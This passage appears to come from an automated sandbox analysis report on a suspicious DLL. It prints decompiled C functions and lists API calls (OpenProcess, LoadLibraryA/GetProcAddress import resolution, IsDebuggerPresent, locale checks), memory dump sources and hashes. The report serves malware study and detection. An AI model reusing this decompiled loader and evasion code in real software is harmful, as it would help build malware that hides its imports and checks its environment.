									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6d6b41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6d6b248f
0x6d6b2492
0x6d6b2498
0x6d6b24b6
0x00000000
0x6d6b24b6
0x6d6b24a0
0x6d6b24a9
0x6d6b24af
0x6d6b24be
0x6d6b24c1
0x6d6b24c4
0x6d6b24ce
0x6d6b24ce
0x6d6b24d0
0x6d6b24d3
0x6d6b24d5
0x6d6b24d5
0x6d6b24d7
0x6d6b24da
0x00000000
0x00000000
0x6d6b24dc
0x6d6b24de
0x6d6b2544
0x6d6b2544
0x6d6b26a2
0x00000000
0x6d6b26a2
0x6d6b24e0
0x6d6b24e0
0x6d6b24e4
0x6d6b24e6
0x6d6b24e6
0x6d6b24e6
0x6d6b24e6
0x6d6b24e9
0x6d6b24ea
0x6d6b24ed
0x6d6b24ed
0x6d6b24f1
0x6d6b24f5
0x6d6b2503
0x6d6b2503
0x6d6b250b
0x6d6b2511
0x6d6b2513
0x6d6b2515
0x6d6b2525
0x6d6b2532
0x6d6b2536
0x6d6b253b
0x6d6b253d
0x6d6b25bb
0x6d6b25bb
0x6d6b253f
0x6d6b253f
0x6d6b253f
0x6d6b25bd
0x6d6b25bf
0x6d6b26a0
0x6d6b26a0
0x00000000
0x6d6b25c5
0x6d6b25c5
0x6d6b25cc
0x00000000
0x00000000
0x6d6b25d2
0x6d6b25d6
0x6d6b2632
0x6d6b2634
0x6d6b263c
0x6d6b263e
0x6d6b2640
0x00000000
0x00000000
0x6d6b2642
0x6d6b2648
0x6d6b264a
0x6d6b264c
0x6d6b2661
0x6d6b2661
0x6d6b2663
0x6d6b2692
0x6d6b2699
0x00000000
0x6d6b2699
0x6d6b2667
0x6d6b2668
0x6d6b266a
0x6d6b266c
0x6d6b266c
0x6d6b266e
0x6d6b2670
0x6d6b2672
0x6d6b2686
0x6d6b2686
0x6d6b2689
0x6d6b268b
0x6d6b268b
0x6d6b268c
0x6d6b268c
0x00000000
0x6d6b2674
0x6d6b2674
0x6d6b2674
0x6d6b267d
0x6d6b267e
0x6d6b2680
0x6d6b2682
0x6d6b2682
0x00000000
0x6d6b2674
0x6d6b2672
0x6d6b264e
0x6d6b2655
0x6d6b2655
0x6d6b2657
0x00000000
0x00000000
0x6d6b2659
0x6d6b265a
0x6d6b265d
0x6d6b265f
0x00000000
0x00000000
0x00000000
0x6d6b265f
0x00000000
0x6d6b2655
0x6d6b25d8
0x6d6b25db
0x6d6b25e0
0x00000000
0x00000000
0x6d6b25e9
0x6d6b25eb
0x6d6b25f1
0x00000000
0x00000000
0x6d6b25f7
0x6d6b25fd
0x00000000
0x00000000
0x6d6b2603
0x6d6b2605
0x6d6b260e
0x6d6b2612
0x00000000
0x00000000
0x6d6b2618
0x6d6b261b
0x6d6b261d
0x00000000
0x00000000
0x6d6b2624
0x6d6b2626
0x00000000
0x00000000
0x6d6b2628
0x6d6b262c
0x00000000
0x00000000
0x00000000
0x6d6b262c
0x00000000
0x00000000
0x00000000
0x6d6b2517
0x6d6b2517
0x6d6b2517
0x6d6b251e
0x00000000
0x00000000
0x6d6b2520
0x6d6b2521
0x6d6b2523
0x00000000
0x00000000
0x00000000
0x6d6b2523
0x6d6b254b
0x6d6b254d
0x00000000
0x00000000
0x6d6b255d
0x6d6b255f
0x6d6b2561
0x00000000
0x00000000
0x6d6b2567
0x6d6b256e
0x6d6b259a
0x6d6b259a
0x6d6b259c
0x6d6b259e
0x6d6b25b2
0x6d6b25b4
0x00000000
0x00000000
0x00000000
0x00000000
0x6d6b25a0
0x6d6b25a0
0x6d6b25a0
0x6d6b25a9
0x6d6b25aa
0x6d6b25ac
0x6d6b25ae
0x6d6b25ae
0x00000000
0x6d6b25a0
0x6d6b2570
0x6d6b2573
0x6d6b2575
0x6d6b2587
0x6d6b2587
0x6d6b258a
0x6d6b258c
0x6d6b258c
0x6d6b258d
0x6d6b258d
0x6d6b2593
0x00000000
0x00000000
0x00000000
0x00000000
0x6d6b2577
0x6d6b2577
0x6d6b2577
0x6d6b257e
0x00000000
0x00000000
0x6d6b2580
0x6d6b2580
0x6d6b2581
0x00000000
0x00000000
0x00000000
0x6d6b2581
0x6d6b2583
0x6d6b2585
0x6d6b2598
0x00000000
0x00000000
0x00000000
0x6d6b2598
0x00000000
0x6d6b2585
0x6d6b24f7
0x6d6b24fa
0x6d6b24fd
0x00000000
0x00000000
0x6d6b24ff
0x6d6b2501
0x00000000
0x00000000
0x00000000
0x6d6b2501
0x6d6b24c6
0x6d6b24c8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6D6B2536

Strings

@Bkm, xrefs: 6D6B2637
@Bkm, xrefs: 6D6B2555
@Bkm, xrefs: 6D6B2694

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID: @Bkm$@Bkm$@Bkm
API String ID: 2850889275-676724631
Opcode ID: e393b09d73f0c3dc86bddcaa458cebb24e37ecb94d16d3b401ce6942007a2a55
Instruction ID: fb39b9fe2a7aae7529f35812973c0621f405a62df887438659b627a88fc62f2d
Opcode Fuzzy Hash: e393b09d73f0c3dc86bddcaa458cebb24e37ecb94d16d3b401ce6942007a2a55
Instruction Fuzzy Hash: 8561C231A546138FDB39CF29D8A076973F5BB8E358F248439D926C7294E770E8B28750

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B146C, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B146C() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6d6b41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6d6b41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6d6b41ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6d6b41a8 = _t5;
					 *0x6d6b41b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6d6b41a4 = _t6;
					if(_t6 == 0) {
						 *0x6d6b41a4 =  *0x6d6b41a4 | 0xffffffff;
					}
					return 0;
				}
			}

0x6d6b146d
0x6d6b147b
0x6d6b1483
0x6d6b1488
0x6d6b14d2
0x6d6b14d2
0x6d6b148a
0x6d6b1492
0x6d6b14ce
0x6d6b14d0
0x6d6b1494
0x6d6b1494
0x6d6b1499
0x6d6b14a7
0x6d6b14ac
0x6d6b14b2
0x6d6b14ba
0x6d6b14bf
0x6d6b14c1
0x6d6b14c1
0x6d6b14cb
0x6d6b14cb

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D6B17B8,76D263F0,00000000), ref: 6D6B147B
GetVersion.KERNEL32 ref: 6D6B148A
GetCurrentProcessId.KERNEL32 ref: 6D6B1499
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D6B14B2

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: a7c4eb7e3553fb0c29ae07ac9bab852bacfc9d2a119fe1aeebc5b1233a1ddc2d
Instruction ID: 9518f0fc57c4f00adf90691d4aba7d743218fc5e72ca50ab33f54855f464e906
Opcode Fuzzy Hash: a7c4eb7e3553fb0c29ae07ac9bab852bacfc9d2a119fe1aeebc5b1233a1ddc2d
Instruction Fuzzy Hash: FCF03A71A84221AFEF509F6BAC097A53BB4FF1FB15F10101AF165D91C0D3F064658B54

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FA5EE, Relevance: 4.6, APIs: 3, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000001), ref: 6D6FA6E6
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 6D6FA6F0
UnhandledExceptionFilter.KERNEL32(6D6F6BE1,?,?,?,?,?,00000001), ref: 6D6FA6FD

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 19ce6268897ff8042ca3104db74d7d8c4a25b7b67972fa780fe8af93330b3502
Instruction ID: 07f9407a48d29c3a638663476bc33ae6c88d37fdaee10c33dc659d79b462fc6b
Opcode Fuzzy Hash: 19ce6268897ff8042ca3104db74d7d8c4a25b7b67972fa780fe8af93330b3502
Instruction Fuzzy Hash: 6931E6749112299BCF21DF24D888BDCBBB9BF18310F5041EAE51CA7290EB709B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1566, Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6D6B1566(void* __ecx) {
				char _v8;
				signed short _t7;

				_v8 = _v8 & 0x00000000;
				_t7 = GetLocaleInfoA(0x400, 0x5a,  &_v8, 4);
				if(_t7 == 0) {
					__imp__GetSystemDefaultUILanguage();
					VerLanguageNameA(_t7 & 0xffff,  &_v8, 4);
				}
				return _v8;
			}

0x6d6b156a
0x6d6b157b
0x6d6b1583
0x6d6b1585
0x6d6b1598
0x6d6b1598
0x6d6b15a2

APIs

GetLocaleInfoA.KERNEL32(00000400,0000005A,00000000,00000004,?,?,6D6B1C5E,?,6D6B1810,?,00000000,00000000,?,?,?,6D6B1810), ref: 6D6B157B
GetSystemDefaultUILanguage.KERNEL32(?,?,6D6B1C5E,?,6D6B1810,?,00000000,00000000,?,?,?,6D6B1810), ref: 6D6B1585
VerLanguageNameA.KERNEL32(?,00000000,00000004,?,?,6D6B1C5E,?,6D6B1810,?,00000000,00000000,?,?,?,6D6B1810), ref: 6D6B1598

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Language$DefaultInfoLocaleNameSystem
String ID:
API String ID: 3724080410-0
Opcode ID: a4587076e6687812a4dee99a89877f4251cd10ce7e37b22928342022e78cc41d
Instruction ID: faec1e1901af5a5bf304c4f338e35b797a8089a974dfaa446d9e41d8b346f76c
Opcode Fuzzy Hash: a4587076e6687812a4dee99a89877f4251cd10ce7e37b22928342022e78cc41d
Instruction Fuzzy Hash: 21E0BFA8744249B7EB10E7A29D06FBD72B8AB0574AF500094FB45E60C0E7B89A14A769

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC28B, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6D6FC28A,?,?,?,?,?,6D703E50), ref: 6D6FC2AD
TerminateProcess.KERNEL32(00000000,?,6D6FC28A,?,?,?,?,?,6D703E50), ref: 6D6FC2B4
ExitProcess.KERNEL32 ref: 6D6FC2C6

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 40d1f22c38fbbd8832a6d50dcb4a0564e632d6d89868879a4be23bee4e8afd83
Instruction ID: 2aaacba9a1dfcc4ef05738fca088156666d6cdabbc1949708c9aa4e05c2169a6
Opcode Fuzzy Hash: 40d1f22c38fbbd8832a6d50dcb4a0564e632d6d89868879a4be23bee4e8afd83
Instruction Fuzzy Hash: 23E08C71004908EFCF016F94C98CB487F7AFF59291B068428FA0A8A170CF76D882CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD840, Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c182849ccbed50c139c48f842e02fa15e35fca7807212bb1b4b6bfddac4a1b
Instruction ID: c8b1aadbc8785c7f94e5467ff66b8f0d588471515adf6783c1ababc2a77aa60f
Opcode Fuzzy Hash: d8c182849ccbed50c139c48f842e02fa15e35fca7807212bb1b4b6bfddac4a1b
Instruction Fuzzy Hash: 01F15071E0461A9FDF14CFA8C8906ADB7B6FF89324F158269D519AB344D731A902CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1F31, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B1F31(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6d6b41cc;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6d6b1f31
0x6d6b1f3a
0x6d6b1f3f
0x6d6b1f45
0x6d6b1f4e
0x6d6b1f54
0x6d6b1f56
0x6d6b1f59
0x6d6b1f5e
0x6d6b1f65
0x6d6b1f65
0x6d6b1f69
0x6d6b1f71
0x6d6b1f74
0x00000000
0x00000000
0x6d6b1f7a
0x6d6b1f84
0x6d6b1f86
0x6d6b1f89
0x6d6b1f8c
0x6d6b1f90
0x6d6b1f98
0x6d6b1f9a
0x6d6b1f9d
0x6d6b2005
0x6d6b2005
0x6d6b2009
0x00000000
0x00000000
0x6d6b1fa2
0x6d6b1fa8
0x6d6b1faa
0x6d6b1fbd
0x6d6b1fc0
0x6d6b1fc0
0x6d6b1fc0
0x6d6b1fc4
0x6d6b1fac
0x6d6b1fac
0x6d6b1fb4
0x6d6b1fb6
0x00000000
0x00000000
0x00000000
0x00000000
0x6d6b1fb6
0x6d6b1fa4
0x6d6b1fa4
0x6d6b1fb8
0x6d6b1fb8
0x6d6b1fb8
0x6d6b1fc7
0x6d6b1fca
0x6d6b1fcc
0x6d6b1fd3
0x6d6b1fce
0x6d6b1fce
0x6d6b1fce
0x6d6b1fdb
0x6d6b1fe1
0x6d6b1fe3
0x6d6b2013
0x6d6b1fe5
0x6d6b1fe5
0x6d6b1fe8
0x6d6b1fea
0x6d6b1ff2
0x6d6b1ff2
0x6d6b1ff7
0x6d6b1ff9
0x6d6b2000
0x6d6b2002
0x6d6b2002
0x6d6b2002
0x00000000
0x6d6b2002
0x00000000
0x6d6b1fe3
0x6d6b1f92
0x6d6b1f94
0x6d6b1f96
0x00000000
0x00000000
0x6d6b1f96
0x6d6b2016
0x6d6b2016
0x6d6b201d
0x6d6b2022
0x00000000
0x00000000
0x6d6b2028
0x6d6b2033
0x00000000
0x6d6b2033
0x6d6b202a
0x6d6b202a
0x6d6b2030
0x00000000
0x6d6b2030
0x6d6b1f5e
0x6d6b2034
0x6d6b2039

APIs

LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 6D6B1F69
GetProcAddress.KERNEL32(?,00000000), ref: 6D6B1FDB

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 63f0bc68e3d86e372a105937d930b99ead511b4501820af907f9e1caba525b72
Instruction ID: 02e0256a7cb5524fe02a9506e591f51b2ade41f7c08223a9f0cb18237fb19863
Opcode Fuzzy Hash: 63f0bc68e3d86e372a105937d930b99ead511b4501820af907f9e1caba525b72
Instruction Fuzzy Hash: 78311771A0020AEFDB15CF59C880BAEBBF8BF4D355B208169E851EB240E774DA60CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D707675, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6D707670,?,?,00000008,?,?,6D707308,00000000), ref: 6D7078A2

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 573528691e4961cefe9bb83732bc510f8c9910e8a0dacd21133f175d893d399a
Instruction ID: 3b194c2ef7ee34521ffbe0305bd0ce42a52ef59b388ebedfdcfdc1aa9b187433
Opcode Fuzzy Hash: 573528691e4961cefe9bb83732bc510f8c9910e8a0dacd21133f175d893d399a
Instruction Fuzzy Hash: CCB16AB5A20609CFD705CF28C586B647BE0FF05365F258669E8A9CF2E1C335E992CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F7689, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6D6F769F

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ba5e0f1c6085085f94b674da678f08c0ec3a6aec1d8a2bdf0f379ad75e0be430
Instruction ID: 69eb0ce53f9beb511fb60c1342d0c67bdd77487d1f7186c7ecc983749ec3313d
Opcode Fuzzy Hash: ba5e0f1c6085085f94b674da678f08c0ec3a6aec1d8a2bdf0f379ad75e0be430
Instruction Fuzzy Hash: 1F51C0B5E10616CFEB15CF69D8817AABBF2FB49326F11843AC825EB240D374A901CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6D700D7A, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307a38589d873532be9b6f7761a6836dfce06c465a0e101c61aa659418b37914
Instruction ID: 1b96b0c2c37458cb720c757bbce33e76976e660ed2586f3ec10818cb90a48b40
Opcode Fuzzy Hash: 307a38589d873532be9b6f7761a6836dfce06c465a0e101c61aa659418b37914
Instruction Fuzzy Hash: F841B4B5808219AEDB10DF69CD88AEAB7F8EF45324F1442EDE55DE3240DB349E848F51

Uniqueness

Uniqueness Score: -1.00%

Function 6D705DE1, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f565c597e00c6a47f60a12b93bed8ea2333abbb3c547649b2e46f6deca39e301
Instruction ID: 40e787282239ea1e95d3426dfd0cc2045c9bf16c8cdd59913191d441beec57bc
Opcode Fuzzy Hash: f565c597e00c6a47f60a12b93bed8ea2333abbb3c547649b2e46f6deca39e301
Instruction Fuzzy Hash: 7521B373F204394B7B0CC47E8C572BDB6E1D78C501745823AE9A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 6D705CC1, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.497028055.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02094c64fe0647db9fbe66a50529e7801de13beeff22734c2247035f46f3240f
Instruction ID: 325d6446997e73d32c953f672cb475afb85bc095ecb5576090fd5c54be5302ec
Opcode Fuzzy Hash: 02094c64fe0647db9fbe66a50529e7801de13beeff22734c2247035f46f3240f
Instruction Fuzzy Hash: 81118A63F30C395B675C816D8C1727AA5D2EBD825070F533AD826E72C4E994DE13D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B2264, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6D6B2264(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E6D6B23CB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E6D6B2485(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E6D6B2370(_t55, _t66);
										_t89 = _t66 + 0x10;
										E6D6B23CB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E6D6B2467(_t82[2], 1);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])();
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x6d6b2268
0x6d6b2269
0x6d6b226a
0x6d6b226d
0x6d6b226f
0x6d6b2272
0x6d6b2273
0x6d6b2275
0x6d6b2276
0x6d6b2277
0x6d6b227a
0x6d6b2284
0x6d6b2335
0x6d6b233c
0x6d6b2345
0x6d6b228a
0x6d6b228a
0x6d6b2290
0x6d6b2296
0x6d6b2299
0x6d6b229c
0x6d6b22a0
0x6d6b22a5
0x6d6b22aa
0x6d6b232a
0x00000000
0x6d6b22ac
0x6d6b22ac
0x6d6b22b8
0x6d6b22ba
0x6d6b2315
0x6d6b2315
0x6d6b231b
0x00000000
0x6d6b22bc
0x6d6b22cb
0x6d6b22cd
0x6d6b22ce
0x6d6b22cf
0x6d6b22d2
0x6d6b22d2
0x6d6b22d4
0x00000000
0x6d6b22d6
0x6d6b22d6
0x6d6b2320
0x6d6b22d8
0x6d6b22d8
0x6d6b22dc
0x6d6b22e4
0x6d6b22e9
0x6d6b22ee
0x6d6b22fa
0x6d6b2302
0x6d6b2309
0x6d6b230f
0x6d6b2313
0x00000000
0x6d6b2313
0x6d6b22d6
0x6d6b22d4
0x00000000
0x6d6b22ba
0x6d6b232e
0x6d6b232e
0x6d6b232e
0x6d6b22aa
0x6d6b234a
0x6d6b2351

Memory Dump Source

Source File: 00000000.00000002.496944578.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000000.00000002.496927454.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496964196.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496982779.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497003268.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 5ef4a3bb785a83b22780bfd06e827681c3f96660c1c081db6452bca5c62b2467
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: E921B6729042059BCB21DF68C8C09ABB7E5FF4D350B468168D9199F245D730F925CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D731F00, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

